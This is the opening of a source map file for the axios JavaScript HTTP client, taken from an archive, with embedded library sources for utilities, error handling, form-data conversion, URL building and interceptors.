axios.js.map000064400000707425151677271550007040 0ustar00{"version":3,"file":"axios.js","sources":["../lib/helpers/bind.js","../lib/utils.js","../lib/core/AxiosError.js","../lib/helpers/null.js","../lib/helpers/toFormData.js","../lib/helpers/AxiosURLSearchParams.js","../lib/helpers/buildURL.js","../lib/core/InterceptorManager.js","../lib/defaults/transitional.js","../lib/platform/browser/classes/URLSearchParams.js","../lib/platform/browser/classes/FormData.js","../lib/platform/browser/classes/Blob.js","../lib/platform/browser/index.js","../lib/platform/common/utils.js","../lib/platform/index.js","../lib/helpers/toURLEncodedForm.js","../lib/helpers/formDataToJSON.js","../lib/defaults/index.js","../lib/helpers/parseHeaders.js","../lib/core/AxiosHeaders.js","../lib/core/transformData.js","../lib/cancel/isCancel.js","../lib/cancel/CanceledError.js","../lib/core/settle.js","../lib/helpers/parseProtocol.js","../lib/helpers/speedometer.js","../lib/helpers/throttle.js","../lib/helpers/progressEventReducer.js","../lib/helpers/isURLSameOrigin.js","../lib/helpers/cookies.js","../lib/helpers/isAbsoluteURL.js","../lib/helpers/combineURLs.js","../lib/core/buildFullPath.js","../lib/core/mergeConfig.js","../lib/helpers/resolveConfig.js","../lib/adapters/xhr.js","../lib/helpers/composeSignals.js","../lib/helpers/trackStream.js","../lib/adapters/fetch.js","../lib/adapters/adapters.js","../lib/core/dispatchRequest.js","../lib/env/data.js","../lib/helpers/validator.js","../lib/core/Axios.js","../lib/cancel/CancelToken.js","../lib/helpers/spread.js","../lib/helpers/isAxiosError.js","../lib/helpers/HttpStatusCode.js","../lib/axios.js"],"sourcesContent":["'use strict';\n\nexport default function bind(fn, thisArg) {\n  return function wrap() {\n    return fn.apply(thisArg, arguments);\n  };\n}\n","'use strict';\n\nimport bind from './helpers/bind.js';\n\n// utils is a library of generic helper functions non-specific to axios\n\nconst {toString} = Object.prototype;\nconst {getPrototypeOf} = Object;\n\nconst kindOf = (cache => thing => {\n    const str = toString.call(thing);\n    return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());\n})(Object.create(null));\n\nconst kindOfTest = (type) => {\n  type = type.toLowerCase();\n  return (thing) => kindOf(thing) === type\n}\n\nconst typeOfTest = type => thing => typeof thing === type;\n\n/**\n * Determine if a value is an Array\n *\n * @param {Object} val The value to test\n *\n * @returns {boolean} True if value is an Array, otherwise false\n */\nconst {isArray} = Array;\n\n/**\n * Determine if a value is undefined\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if the value is undefined, otherwise false\n */\nconst isUndefined = typeOfTest('undefined');\n\n/**\n * Determine if a value is a Buffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Buffer, otherwise false\n */\nfunction isBuffer(val) {\n  return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)\n    && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);\n}\n\n/**\n * Determine if a value is an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is an ArrayBuffer, otherwise false\n */\nconst isArrayBuffer = kindOfTest('ArrayBuffer');\n\n\n/**\n * Determine if a value is a view on an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false\n */\nfunction isArrayBufferView(val) {\n  let result;\n  if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {\n    result = ArrayBuffer.isView(val);\n  } else {\n    result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));\n  }\n  return result;\n}\n\n/**\n * Determine if a value is a String\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a String, otherwise false\n */\nconst isString = typeOfTest('string');\n\n/**\n * Determine if a value is a Function\n *\n * @param {*} val The value to test\n * @returns {boolean} True if value is a Function, otherwise false\n */\nconst isFunction = typeOfTest('function');\n\n/**\n * Determine if a value is a Number\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Number, otherwise false\n */\nconst isNumber = typeOfTest('number');\n\n/**\n * Determine if a value is an Object\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an Object, otherwise false\n */\nconst isObject = (thing) => thing !== null && typeof thing === 'object';\n\n/**\n * Determine if a value is a Boolean\n *\n * @param {*} thing The value to test\n * @returns {boolean} True if value is a Boolean, otherwise false\n */\nconst isBoolean = thing => thing === true || thing === false;\n\n/**\n * Determine if a value is a plain Object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a plain Object, otherwise false\n */\nconst isPlainObject = (val) => {\n  if (kindOf(val) !== 'object') {\n    return false;\n  }\n\n  const prototype = getPrototypeOf(val);\n  return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);\n}\n\n/**\n * Determine if a value is a Date\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Date, otherwise false\n */\nconst isDate = kindOfTest('Date');\n\n/**\n * Determine if a value is a File\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFile = kindOfTest('File');\n\n/**\n * Determine if a value is a Blob\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Blob, otherwise false\n */\nconst isBlob = kindOfTest('Blob');\n\n/**\n * Determine if a value is a FileList\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFileList = kindOfTest('FileList');\n\n/**\n * Determine if a value is a Stream\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Stream, otherwise false\n */\nconst isStream = (val) => isObject(val) && isFunction(val.pipe);\n\n/**\n * Determine if a value is a FormData\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an FormData, otherwise false\n */\nconst isFormData = (thing) => {\n  let kind;\n  return thing && (\n    (typeof FormData === 'function' && thing instanceof FormData) || (\n      isFunction(thing.append) && (\n        (kind = kindOf(thing)) === 'formdata' ||\n        // detect form-data instance\n        (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')\n      )\n    )\n  )\n}\n\n/**\n * Determine if a value is a URLSearchParams object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a URLSearchParams object, otherwise false\n */\nconst isURLSearchParams = kindOfTest('URLSearchParams');\n\nconst [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);\n\n/**\n * Trim excess whitespace off the beginning and end of a string\n *\n * @param {String} str The String to trim\n *\n * @returns {String} The String freed of excess whitespace\n */\nconst trim = (str) => str.trim ?\n  str.trim() : str.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, '');\n\n/**\n * Iterate over an Array or an Object invoking a function for each item.\n *\n * If `obj` is an Array callback will be called passing\n * the value, index, and complete array for each item.\n *\n * If 'obj' is an Object callback will be called passing\n * the value, key, and complete object for each property.\n *\n * @param {Object|Array} obj The object to iterate\n * @param {Function} fn The callback to invoke for each item\n *\n * @param {Boolean} [allOwnKeys = false]\n * @returns {any}\n */\nfunction forEach(obj, fn, {allOwnKeys = false} = {}) {\n  // Don't bother if no value provided\n  if (obj === null || typeof obj === 'undefined') {\n    return;\n  }\n\n  let i;\n  let l;\n\n  // Force an array if not already something iterable\n  if (typeof obj !== 'object') {\n    /*eslint no-param-reassign:0*/\n    obj = [obj];\n  }\n\n  if (isArray(obj)) {\n    // Iterate over array values\n    for (i = 0, l = obj.length; i < l; i++) {\n      fn.call(null, obj[i], i, obj);\n    }\n  } else {\n    // Iterate over object keys\n    const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);\n    const len = keys.length;\n    let key;\n\n    for (i = 0; i < len; i++) {\n      key = keys[i];\n      fn.call(null, obj[key], key, obj);\n    }\n  }\n}\n\nfunction findKey(obj, key) {\n  key = key.toLowerCase();\n  const keys = Object.keys(obj);\n  let i = keys.length;\n  let _key;\n  while (i-- > 0) {\n    _key = keys[i];\n    if (key === _key.toLowerCase()) {\n      return _key;\n    }\n  }\n  return null;\n}\n\nconst _global = (() => {\n  /*eslint no-undef:0*/\n  if (typeof globalThis !== \"undefined\") return globalThis;\n  return typeof self !== \"undefined\" ? self : (typeof window !== 'undefined' ? window : global)\n})();\n\nconst isContextDefined = (context) => !isUndefined(context) && context !== _global;\n\n/**\n * Accepts varargs expecting each argument to be an object, then\n * immutably merges the properties of each object and returns result.\n *\n * When multiple objects contain the same key the later object in\n * the arguments list will take precedence.\n *\n * Example:\n *\n * ```js\n * var result = merge({foo: 123}, {foo: 456});\n * console.log(result.foo); // outputs 456\n * ```\n *\n * @param {Object} obj1 Object to merge\n *\n * @returns {Object} Result of all merge properties\n */\nfunction merge(/* obj1, obj2, obj3, ... */) {\n  const {caseless} = isContextDefined(this) && this || {};\n  const result = {};\n  const assignValue = (val, key) => {\n    const targetKey = caseless && findKey(result, key) || key;\n    if (isPlainObject(result[targetKey]) && isPlainObject(val)) {\n      result[targetKey] = merge(result[targetKey], val);\n    } else if (isPlainObject(val)) {\n      result[targetKey] = merge({}, val);\n    } else if (isArray(val)) {\n      result[targetKey] = val.slice();\n    } else {\n      result[targetKey] = val;\n    }\n  }\n\n  for (let i = 0, l = arguments.length; i < l; i++) {\n    arguments[i] && forEach(arguments[i], assignValue);\n  }\n  return result;\n}\n\n/**\n * Extends object a by mutably adding to it the properties of object b.\n *\n * @param {Object} a The object to be extended\n * @param {Object} b The object to copy properties from\n * @param {Object} thisArg The object to bind function to\n *\n * @param {Boolean} [allOwnKeys]\n * @returns {Object} The resulting value of object a\n */\nconst extend = (a, b, thisArg, {allOwnKeys}= {}) => {\n  forEach(b, (val, key) => {\n    if (thisArg && isFunction(val)) {\n      a[key] = bind(val, thisArg);\n    } else {\n      a[key] = val;\n    }\n  }, {allOwnKeys});\n  return a;\n}\n\n/**\n * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)\n *\n * @param {string} content with BOM\n *\n * @returns {string} content value without BOM\n */\nconst stripBOM = (content) => {\n  if (content.charCodeAt(0) === 0xFEFF) {\n    content = content.slice(1);\n  }\n  return content;\n}\n\n/**\n * Inherit the prototype methods from one constructor into another\n * @param {function} constructor\n * @param {function} superConstructor\n * @param {object} [props]\n * @param {object} [descriptors]\n *\n * @returns {void}\n */\nconst inherits = (constructor, superConstructor, props, descriptors) => {\n  constructor.prototype = Object.create(superConstructor.prototype, descriptors);\n  constructor.prototype.constructor = constructor;\n  Object.defineProperty(constructor, 'super', {\n    value: superConstructor.prototype\n  });\n  props && Object.assign(constructor.prototype, props);\n}\n\n/**\n * Resolve object with deep prototype chain to a flat object\n * @param {Object} sourceObj source object\n * @param {Object} [destObj]\n * @param {Function|Boolean} [filter]\n * @param {Function} [propFilter]\n *\n * @returns {Object}\n */\nconst toFlatObject = (sourceObj, destObj, filter, propFilter) => {\n  let props;\n  let i;\n  let prop;\n  const merged = {};\n\n  destObj = destObj || {};\n  // eslint-disable-next-line no-eq-null,eqeqeq\n  if (sourceObj == null) return destObj;\n\n  do {\n    props = Object.getOwnPropertyNames(sourceObj);\n    i = props.length;\n    while (i-- > 0) {\n      prop = props[i];\n      if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {\n        destObj[prop] = sourceObj[prop];\n        merged[prop] = true;\n      }\n    }\n    sourceObj = filter !== false && getPrototypeOf(sourceObj);\n  } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);\n\n  return destObj;\n}\n\n/**\n * Determines whether a string ends with the characters of a specified string\n *\n * @param {String} str\n * @param {String} searchString\n * @param {Number} [position= 0]\n *\n * @returns {boolean}\n */\nconst endsWith = (str, searchString, position) => {\n  str = String(str);\n  if (position === undefined || position > str.length) {\n    position = str.length;\n  }\n  position -= searchString.length;\n  const lastIndex = str.indexOf(searchString, position);\n  return lastIndex !== -1 && lastIndex === position;\n}\n\n\n/**\n * Returns new array from array like object or null if failed\n *\n * @param {*} [thing]\n *\n * @returns {?Array}\n */\nconst toArray = (thing) => {\n  if (!thing) return null;\n  if (isArray(thing)) return thing;\n  let i = thing.length;\n  if (!isNumber(i)) return null;\n  const arr = new Array(i);\n  while (i-- > 0) {\n    arr[i] = thing[i];\n  }\n  return arr;\n}\n\n/**\n * Checking if the Uint8Array exists and if it does, it returns a function that checks if the\n * thing passed in is an instance of Uint8Array\n *\n * @param {TypedArray}\n *\n * @returns {Array}\n */\n// eslint-disable-next-line func-names\nconst isTypedArray = (TypedArray => {\n  // eslint-disable-next-line func-names\n  return thing => {\n    return TypedArray && thing instanceof TypedArray;\n  };\n})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));\n\n/**\n * For each entry in the object, call the function with the key and value.\n *\n * @param {Object<any, any>} obj - The object to iterate over.\n * @param {Function} fn - The function to call for each entry.\n *\n * @returns {void}\n */\nconst forEachEntry = (obj, fn) => {\n  const generator = obj && obj[Symbol.iterator];\n\n  const iterator = generator.call(obj);\n\n  let result;\n\n  while ((result = iterator.next()) && !result.done) {\n    const pair = result.value;\n    fn.call(obj, pair[0], pair[1]);\n  }\n}\n\n/**\n * It takes a regular expression and a string, and returns an array of all the matches\n *\n * @param {string} regExp - The regular expression to match against.\n * @param {string} str - The string to search.\n *\n * @returns {Array<boolean>}\n */\nconst matchAll = (regExp, str) => {\n  let matches;\n  const arr = [];\n\n  while ((matches = regExp.exec(str)) !== null) {\n    arr.push(matches);\n  }\n\n  return arr;\n}\n\n/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */\nconst isHTMLForm = kindOfTest('HTMLFormElement');\n\nconst toCamelCase = str => {\n  return str.toLowerCase().replace(/[-_\\s]([a-z\\d])(\\w*)/g,\n    function replacer(m, p1, p2) {\n      return p1.toUpperCase() + p2;\n    }\n  );\n};\n\n/* Creating a function that will check if an object has a property. */\nconst hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);\n\n/**\n * Determine if a value is a RegExp object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a RegExp object, otherwise false\n */\nconst isRegExp = kindOfTest('RegExp');\n\nconst reduceDescriptors = (obj, reducer) => {\n  const descriptors = Object.getOwnPropertyDescriptors(obj);\n  const reducedDescriptors = {};\n\n  forEach(descriptors, (descriptor, name) => {\n    let ret;\n    if ((ret = reducer(descriptor, name, obj)) !== false) {\n      reducedDescriptors[name] = ret || descriptor;\n    }\n  });\n\n  Object.defineProperties(obj, reducedDescriptors);\n}\n\n/**\n * Makes all methods read-only\n * @param {Object} obj\n */\n\nconst freezeMethods = (obj) => {\n  reduceDescriptors(obj, (descriptor, name) => {\n    // skip restricted props in strict mode\n    if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {\n      return false;\n    }\n\n    const value = obj[name];\n\n    if (!isFunction(value)) return;\n\n    descriptor.enumerable = false;\n\n    if ('writable' in descriptor) {\n      descriptor.writable = false;\n      return;\n    }\n\n    if (!descriptor.set) {\n      descriptor.set = () => {\n        throw Error('Can not rewrite read-only method \\'' + name + '\\'');\n      };\n    }\n  });\n}\n\nconst toObjectSet = (arrayOrString, delimiter) => {\n  const obj = {};\n\n  const define = (arr) => {\n    arr.forEach(value => {\n      obj[value] = true;\n    });\n  }\n\n  isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));\n\n  return obj;\n}\n\nconst noop = () => {}\n\nconst toFiniteNumber = (value, defaultValue) => {\n  return value != null && Number.isFinite(value = +value) ? value : defaultValue;\n}\n\nconst ALPHA = 'abcdefghijklmnopqrstuvwxyz'\n\nconst DIGIT = '0123456789';\n\nconst ALPHABET = {\n  DIGIT,\n  ALPHA,\n  ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT\n}\n\nconst generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => {\n  let str = '';\n  const {length} = alphabet;\n  while (size--) {\n    str += alphabet[Math.random() * length|0]\n  }\n\n  return str;\n}\n\n/**\n * If the thing is a FormData object, return true, otherwise return false.\n *\n * @param {unknown} thing - The thing to check.\n *\n * @returns {boolean}\n */\nfunction isSpecCompliantForm(thing) {\n  return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]);\n}\n\nconst toJSONObject = (obj) => {\n  const stack = new Array(10);\n\n  const visit = (source, i) => {\n\n    if (isObject(source)) {\n      if (stack.indexOf(source) >= 0) {\n        return;\n      }\n\n      if(!('toJSON' in source)) {\n        stack[i] = source;\n        const target = isArray(source) ? [] : {};\n\n        forEach(source, (value, key) => {\n          const reducedValue = visit(value, i + 1);\n          !isUndefined(reducedValue) && (target[key] = reducedValue);\n        });\n\n        stack[i] = undefined;\n\n        return target;\n      }\n    }\n\n    return source;\n  }\n\n  return visit(obj, 0);\n}\n\nconst isAsyncFn = kindOfTest('AsyncFunction');\n\nconst isThenable = (thing) =>\n  thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);\n\nexport default {\n  isArray,\n  isArrayBuffer,\n  isBuffer,\n  isFormData,\n  isArrayBufferView,\n  isString,\n  isNumber,\n  isBoolean,\n  isObject,\n  isPlainObject,\n  isReadableStream,\n  isRequest,\n  isResponse,\n  isHeaders,\n  isUndefined,\n  isDate,\n  isFile,\n  isBlob,\n  isRegExp,\n  isFunction,\n  isStream,\n  isURLSearchParams,\n  isTypedArray,\n  isFileList,\n  forEach,\n  merge,\n  extend,\n  trim,\n  stripBOM,\n  inherits,\n  toFlatObject,\n  kindOf,\n  kindOfTest,\n  endsWith,\n  toArray,\n  forEachEntry,\n  matchAll,\n  isHTMLForm,\n  hasOwnProperty,\n  hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection\n  reduceDescriptors,\n  freezeMethods,\n  toObjectSet,\n  toCamelCase,\n  noop,\n  toFiniteNumber,\n  findKey,\n  global: _global,\n  isContextDefined,\n  ALPHABET,\n  generateString,\n  isSpecCompliantForm,\n  toJSONObject,\n  isAsyncFn,\n  isThenable\n};\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * Create an Error with the specified message, config, error code, request and response.\n *\n * @param {string} message The error message.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [config] The config.\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n *\n * @returns {Error} The created error.\n */\nfunction AxiosError(message, code, config, request, response) {\n  Error.call(this);\n\n  if (Error.captureStackTrace) {\n    Error.captureStackTrace(this, this.constructor);\n  } else {\n    this.stack = (new Error()).stack;\n  }\n\n  this.message = message;\n  this.name = 'AxiosError';\n  code && (this.code = code);\n  config && (this.config = config);\n  request && (this.request = request);\n  response && (this.response = response);\n}\n\nutils.inherits(AxiosError, Error, {\n  toJSON: function toJSON() {\n    return {\n      // Standard\n      message: this.message,\n      name: this.name,\n      // Microsoft\n      description: this.description,\n      number: this.number,\n      // Mozilla\n      fileName: this.fileName,\n      lineNumber: this.lineNumber,\n      columnNumber: this.columnNumber,\n      stack: this.stack,\n      // Axios\n      config: utils.toJSONObject(this.config),\n      code: this.code,\n      status: this.response && this.response.status ? this.response.status : null\n    };\n  }\n});\n\nconst prototype = AxiosError.prototype;\nconst descriptors = {};\n\n[\n  'ERR_BAD_OPTION_VALUE',\n  'ERR_BAD_OPTION',\n  'ECONNABORTED',\n  'ETIMEDOUT',\n  'ERR_NETWORK',\n  'ERR_FR_TOO_MANY_REDIRECTS',\n  'ERR_DEPRECATED',\n  'ERR_BAD_RESPONSE',\n  'ERR_BAD_REQUEST',\n  'ERR_CANCELED',\n  'ERR_NOT_SUPPORT',\n  'ERR_INVALID_URL'\n// eslint-disable-next-line func-names\n].forEach(code => {\n  descriptors[code] = {value: code};\n});\n\nObject.defineProperties(AxiosError, descriptors);\nObject.defineProperty(prototype, 'isAxiosError', {value: true});\n\n// eslint-disable-next-line func-names\nAxiosError.from = (error, code, config, request, response, customProps) => {\n  const axiosError = Object.create(prototype);\n\n  utils.toFlatObject(error, axiosError, function filter(obj) {\n    return obj !== Error.prototype;\n  }, prop => {\n    return prop !== 'isAxiosError';\n  });\n\n  AxiosError.call(axiosError, error.message, code, config, request, response);\n\n  axiosError.cause = error;\n\n  axiosError.name = error.name;\n\n  customProps && Object.assign(axiosError, customProps);\n\n  return axiosError;\n};\n\nexport default AxiosError;\n","// eslint-disable-next-line strict\nexport default null;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\n// temporary hotfix to avoid circular references until AxiosURLSearchParams is refactored\nimport PlatformFormData from '../platform/node/classes/FormData.js';\n\n/**\n * Determines if the given thing is a array or js object.\n *\n * @param {string} thing - The object or array to be visited.\n *\n * @returns {boolean}\n */\nfunction isVisitable(thing) {\n  return utils.isPlainObject(thing) || utils.isArray(thing);\n}\n\n/**\n * It removes the brackets from the end of a string\n *\n * @param {string} key - The key of the parameter.\n *\n * @returns {string} the key without the brackets.\n */\nfunction removeBrackets(key) {\n  return utils.endsWith(key, '[]') ? key.slice(0, -2) : key;\n}\n\n/**\n * It takes a path, a key, and a boolean, and returns a string\n *\n * @param {string} path - The path to the current key.\n * @param {string} key - The key of the current object being iterated over.\n * @param {string} dots - If true, the key will be rendered with dots instead of brackets.\n *\n * @returns {string} The path to the current key.\n */\nfunction renderKey(path, key, dots) {\n  if (!path) return key;\n  return path.concat(key).map(function each(token, i) {\n    // eslint-disable-next-line no-param-reassign\n    token = removeBrackets(token);\n    return !dots && i ? '[' + token + ']' : token;\n  }).join(dots ? '.' : '');\n}\n\n/**\n * If the array is an array and none of its elements are visitable, then it's a flat array.\n *\n * @param {Array<any>} arr - The array to check\n *\n * @returns {boolean}\n */\nfunction isFlatArray(arr) {\n  return utils.isArray(arr) && !arr.some(isVisitable);\n}\n\nconst predicates = utils.toFlatObject(utils, {}, null, function filter(prop) {\n  return /^is[A-Z]/.test(prop);\n});\n\n/**\n * Convert a data object to FormData\n *\n * @param {Object} obj\n * @param {?Object} [formData]\n * @param {?Object} [options]\n * @param {Function} [options.visitor]\n * @param {Boolean} [options.metaTokens = true]\n * @param {Boolean} [options.dots = false]\n * @param {?Boolean} [options.indexes = false]\n *\n * @returns {Object}\n **/\n\n/**\n * It converts an object into a FormData object\n *\n * @param {Object<any, any>} obj - The object to convert to form data.\n * @param {string} formData - The FormData object to append to.\n * @param {Object<string, any>} options\n *\n * @returns\n */\nfunction toFormData(obj, formData, options) {\n  if (!utils.isObject(obj)) {\n    throw new TypeError('target must be an object');\n  }\n\n  // eslint-disable-next-line no-param-reassign\n  formData = formData || new (PlatformFormData || FormData)();\n\n  // eslint-disable-next-line no-param-reassign\n  options = utils.toFlatObject(options, {\n    metaTokens: true,\n    dots: false,\n    indexes: false\n  }, false, function defined(option, source) {\n    // eslint-disable-next-line no-eq-null,eqeqeq\n    return !utils.isUndefined(source[option]);\n  });\n\n  const metaTokens = options.metaTokens;\n  // eslint-disable-next-line no-use-before-define\n  const visitor = options.visitor || defaultVisitor;\n  const dots = options.dots;\n  const indexes = options.indexes;\n  const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;\n  const useBlob = _Blob && utils.isSpecCompliantForm(formData);\n\n  if (!utils.isFunction(visitor)) {\n    throw new TypeError('visitor must be a function');\n  }\n\n  function convertValue(value) {\n    if (value === null) return '';\n\n    if (utils.isDate(value)) {\n      return value.toISOString();\n    }\n\n    if (!useBlob && utils.isBlob(value)) {\n      throw new AxiosError('Blob is not supported. Use a Buffer instead.');\n    }\n\n    if (utils.isArrayBuffer(value) || utils.isTypedArray(value)) {\n      return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);\n    }\n\n    return value;\n  }\n\n  /**\n   * Default visitor.\n   *\n   * @param {*} value\n   * @param {String|Number} key\n   * @param {Array<String|Number>} path\n   * @this {FormData}\n   *\n   * @returns {boolean} return true to visit the each prop of the value recursively\n   */\n  function defaultVisitor(value, key, path) {\n    let arr = value;\n\n    if (value && !path && typeof value === 'object') {\n      if (utils.endsWith(key, '{}')) {\n        // eslint-disable-next-line no-param-reassign\n        key = metaTokens ? key : key.slice(0, -2);\n        // eslint-disable-next-line no-param-reassign\n        value = JSON.stringify(value);\n      } else if (\n        (utils.isArray(value) && isFlatArray(value)) ||\n        ((utils.isFileList(value) || utils.endsWith(key, '[]')) && (arr = utils.toArray(value))\n        )) {\n        // eslint-disable-next-line no-param-reassign\n        key = removeBrackets(key);\n\n        arr.forEach(function each(el, index) {\n          !(utils.isUndefined(el) || el === null) && formData.append(\n            // eslint-disable-next-line no-nested-ternary\n            indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),\n            convertValue(el)\n          );\n        });\n        return false;\n      }\n    }\n\n    if (isVisitable(value)) {\n      return true;\n    }\n\n    formData.append(renderKey(path, key, dots), convertValue(value));\n\n    return false;\n  }\n\n  const stack = [];\n\n  const exposedHelpers = Object.assign(predicates, {\n    defaultVisitor,\n    convertValue,\n    isVisitable\n  });\n\n  function build(value, path) {\n    if (utils.isUndefined(value)) return;\n\n    if (stack.indexOf(value) !== -1) {\n      throw Error('Circular reference detected in ' + path.join('.'));\n    }\n\n    stack.push(value);\n\n    utils.forEach(value, function each(el, key) {\n      const result = !(utils.isUndefined(el) || el === null) && visitor.call(\n        formData, el, utils.isString(key) ? key.trim() : key, path, exposedHelpers\n      );\n\n      if (result === true) {\n        build(el, path ? path.concat(key) : [key]);\n      }\n    });\n\n    stack.pop();\n  }\n\n  if (!utils.isObject(obj)) {\n    throw new TypeError('data must be an object');\n  }\n\n  build(obj);\n\n  return formData;\n}\n\nexport default toFormData;\n","'use strict';\n\nimport toFormData from './toFormData.js';\n\n/**\n * It encodes a string by replacing all characters that are not in the unreserved set with\n * their percent-encoded equivalents\n *\n * @param {string} str - The string to encode.\n *\n * @returns {string} The encoded string.\n */\nfunction encode(str) {\n  const charMap = {\n    '!': '%21',\n    \"'\": '%27',\n    '(': '%28',\n    ')': '%29',\n    '~': '%7E',\n    '%20': '+',\n    '%00': '\\x00'\n  };\n  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n    return charMap[match];\n  });\n}\n\n/**\n * It takes a params object and converts it to a FormData object\n *\n * @param {Object<string, any>} params - The parameters to be converted to a FormData object.\n * @param {Object<string, any>} options - The options object passed to the Axios constructor.\n *\n * @returns {void}\n */\nfunction AxiosURLSearchParams(params, options) {\n  this._pairs = [];\n\n  params && toFormData(params, this, options);\n}\n\nconst prototype = AxiosURLSearchParams.prototype;\n\nprototype.append = function append(name, value) {\n  this._pairs.push([name, value]);\n};\n\nprototype.toString = function toString(encoder) {\n  const _encode = encoder ? function(value) {\n    return encoder.call(this, value, encode);\n  } : encode;\n\n  return this._pairs.map(function each(pair) {\n    return _encode(pair[0]) + '=' + _encode(pair[1]);\n  }, '').join('&');\n};\n\nexport default AxiosURLSearchParams;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosURLSearchParams from '../helpers/AxiosURLSearchParams.js';\n\n/**\n * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their\n * URI encoded counterparts\n *\n * @param {string} val The value to be encoded.\n *\n * @returns {string} The encoded value.\n */\nfunction encode(val) {\n  return encodeURIComponent(val).\n    replace(/%3A/gi, ':').\n    replace(/%24/g, '$').\n    replace(/%2C/gi, ',').\n    replace(/%20/g, '+').\n    replace(/%5B/gi, '[').\n    replace(/%5D/gi, ']');\n}\n\n/**\n * Build a URL by appending params to the end\n *\n * @param {string} url The base of the url (e.g., http://www.google.com)\n * @param {object} [params] The params to be appended\n * @param {?object} options\n *\n * @returns {string} The formatted url\n */\nexport default function buildURL(url, params, options) {\n  /*eslint no-param-reassign:0*/\n  if (!params) {\n    return url;\n  }\n  \n  const _encode = options && options.encode || encode;\n\n  const serializeFn = options && options.serialize;\n\n  let serializedParams;\n\n  if (serializeFn) {\n    serializedParams = serializeFn(params, options);\n  } else {\n    serializedParams = utils.isURLSearchParams(params) ?\n      params.toString() :\n      new AxiosURLSearchParams(params, options).toString(_encode);\n  }\n\n  if (serializedParams) {\n    const hashmarkIndex = url.indexOf(\"#\");\n\n    if (hashmarkIndex !== -1) {\n      url = url.slice(0, hashmarkIndex);\n    }\n    url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;\n  }\n\n  return url;\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\nclass InterceptorManager {\n  constructor() {\n    this.handlers = [];\n  }\n\n  /**\n   * Add a new interceptor to the stack\n   *\n   * @param {Function} fulfilled The function to handle `then` for a `Promise`\n   * @param {Function} rejected The function to handle `reject` for a `Promise`\n   *\n   * @return {Number} An ID used to remove interceptor later\n   */\n  use(fulfilled, rejected, options) {\n    this.handlers.push({\n      fulfilled,\n      rejected,\n      synchronous: options ? options.synchronous : false,\n      runWhen: options ? options.runWhen : null\n    });\n    return this.handlers.length - 1;\n  }\n\n  /**\n   * Remove an interceptor from the stack\n   *\n   * @param {Number} id The ID that was returned by `use`\n   *\n   * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise\n   */\n  eject(id) {\n    if (this.handlers[id]) {\n      this.handlers[id] = null;\n    }\n  }\n\n  /**\n   * Clear all interceptors from the stack\n   *\n   * @returns {void}\n   */\n  clear() {\n    if (this.handlers) {\n      this.handlers = [];\n    }\n  }\n\n  /**\n   * Iterate over all the registered interceptors\n   *\n   * This method is particularly useful for skipping over any\n   * interceptors that may have become `null` calling `eject`.\n   *\n   * @param {Function} fn The function to call for each interceptor\n   *\n   * @returns {void}\n   */\n  forEach(fn) {\n    utils.forEach(this.handlers, function forEachHandler(h) {\n      if (h !== null) {\n        fn(h);\n      }\n    